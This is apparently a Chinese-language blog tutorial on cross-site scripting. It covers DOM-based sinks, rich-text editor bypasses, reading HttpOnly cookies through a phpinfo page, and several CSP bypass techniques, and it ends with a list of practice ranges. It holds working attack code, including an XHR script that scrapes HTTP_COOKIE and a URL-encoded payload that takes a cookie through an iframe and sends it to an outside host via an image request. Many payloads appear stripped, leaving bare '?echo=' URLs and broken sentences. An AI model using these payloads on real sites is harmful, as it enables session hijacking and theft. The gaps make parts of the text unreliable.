XSS
XSS
XSS
XSS
XSS仅限火狐IE的XSS
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2
http://www.safedog.cn/index/privateSolutionIndex.html?tab=2
http://www.d99net.net/News.asp?id=126
http://www.d99net.net/News.asp?id=126
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1
http://www.yunsuo.com.cn/ht/dynamic/20190903/259.html?id=1
var hash = location.hash;// document.location.href.split("?url=")[1];
if(hash){
var url = hash.substring(1);
location.href = url;
}http://luoke.cn:81/1.html#http://www.baidu.comhttp://luoke.cn:81/1.html#javascript:alert(1)
document.write
var hash = location.hash.slice(1);
document.write(hash);http://luoke.cn:81/1.html#
innerHTML
function test(){
var str = document.getElementById("text").value;
document.getElementById("t").innerHTML = "testLink";
}
当有变量带入eval,setInterval,setTimeout,document.referrer,window.name中,都值得关注。
六、 富文本编辑器的XSS富文本编辑器允许html标签,允许以html模式编辑,往往过滤了绝大部分有害标签Ueditor白名单过滤,只允许部分标签和部分元素http://ueditor.baidu.com/ueditor/ueditor.config.js
但是可以用超链接带入javascript
xssUMeditor和Ueditor差不多,但是超链接会强制以http开头。查看源代码,发现jsp版本有反射XSS
/umeditor/jsp/getContent.jsp?myEditor=
/umeditor/jsp/imageUp.jsp?callback=
KindeditorKindeditor采用黑名单正则过滤,效率不高,很容易被绕过http://kindeditor.net/ke4/kindeditor-all.js?t=20160331.js
最简单的是以绕过
七、 phpinfo绕过http-onlyxss常用于打cookie,因此http-only防止cookie被js获取就成了防护xss的手段之一。setcookie第七个参数可以设置httponly
setcookie("name", "admin", NULL, NULL, NULL, NULL, TRUE);
echo($_GET['echo']);http://luoke.cn:81/test/1.php?echo=可以发现js无法读取cookie
此时,如果有个页面能将cookie反射出来的话,强迫用户访问这个页面,然后同域读取这个页面即可将cookie给传送走。phpinfo就可以用于探测http-only的cookie
原理为在有xss的页面,发起一个xhr请求,然后js读取返回页面中用正则匹配出HTTP_COOKIE的字段。
function createXmlHttp() {
if (window.XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
} else {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
function getS() {
var Url = 'http://luoke.cn:81/phpinfo.php';
createXmlHttp();
xmlHttp.onreadystatechange = writeS;
xmlHttp.open("GET", Url, true);
xmlHttp.send(null);
}
function writeS() {
if (xmlHttp.readyState == 4) {
var x = xmlHttp.responseText.match(/HTTP_COOKIE.+?<\/td>
([\w\W]+?)<\/td>/);
alert(x);
}
}
getS();
八、 csp绕过csp是规定引用外部来源的浏览器策略,包括js/img/css等。常见格式如下Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'default-src设定所有资源默认加载规则,self为仅允许同域,后面可以加域名白名单,none为包括同域在内所有资源都不行,*为允许所有资源加载,unsafe-inline为允许当前页面加载(如果没有这个当前页面也不允许直接执行js)。其规律表格如下
除了script-src 之外,还有img-src,object-src,frame-src标签等,其他比如'unsafe-eval'规则见https://www.cnblogs.com/heyuqing/p/6215761.html当然,对XSS来说,最重要的就是script-src绕过,我们面对的拦截规则一般如下。Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';1.php
setcookie("name", "admin");
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");
echo $_GET['echo'];可以以header方式返回,也可以写在前端的meta标签里。
常用加载外部js手段失败http://luoke.cn:81/test/1.php?echo=
当然,如果当前域允许非图片上传,可以上传一个内容为js的txt。http://luoke.cn:81/test/1.php?echo=不过还是那句话,加载外部js是手段不是目的,直接尝试直接在本地执行js带出cookie。http://luoke.cn:81/test/1.php?echo=
还是不行,其原因是这种带出cookie的本质是用document.createElement新建了一个img标签,以img的src请求拼接cookie。而我们规定了default-src 'self',使得所有资源都只能加载本地的,导致失败,同理此时发起xhr请求也会失败。如果没有配置default-src,而是单独的配置img-src,script-src,style-src,我们可以找出漏网之鱼比如冷门的video来绕过。Content-Security-Policy: script-src 'self' 'unsafe-inline';img-src 'self';style-src 'self'
http://luoke.cn:81/test/1.php?echo=
正确配置的前提下,可以用跳转来突破限制。Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';http://luoke.cn:81/test/1.php?echo=
如果同域下A页面正确配置了,B页面错误配置并且有XSS漏洞,可以在B页面用iframe标签操作A页面。test/1.php
setcookie("name", "admin");
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';");test2/2.php
echo $_GET['echo'];http://luoke.cn:81/test2/2.php?echo=这样访问无cookie。
http://luoke.cn:81/test2/2.php?echo=
这样可以弹出cookie
这样证明cookie只用于test/目录,且同域下的test2/目录可以通过iframe获取。然后突破A页面的csp传输走就行了。
http://luoke.cn:81/test2/2.php?echo=%20%3Cbody%3E%3Cscript%3Evar%20iframe%20=%20document.createElement(%27iframe%27);iframe.src=%22../test/1.php%22;document.body.appendChild(iframe);var%20img%20=%20document.createElement(%22img%22);setTimeout(()=%3Eimg.src=%22http://baidu.com/?msg=%22%2Bescape(iframe.contentWindow.document.cookie),2000);document.body.appendChild(img);%3C/script%3E%3C/body%3E
格式化为
var iframe = document.createElement('iframe');
iframe.src="../test/1.php";
document.body.appendChild(iframe);
var img = document.createElement("img");
setTimeout(()=>img.src="http://baidu.com/?msg="+escape(iframe.contentWindow.document.cookie),2000);
document.body.appendChild(img);
其他方法见https://xz.aliyun.com/t/5084
九、 XSS靶场https://xss.tesla-space.com/https://alf.nu/alert1http://prompt.ml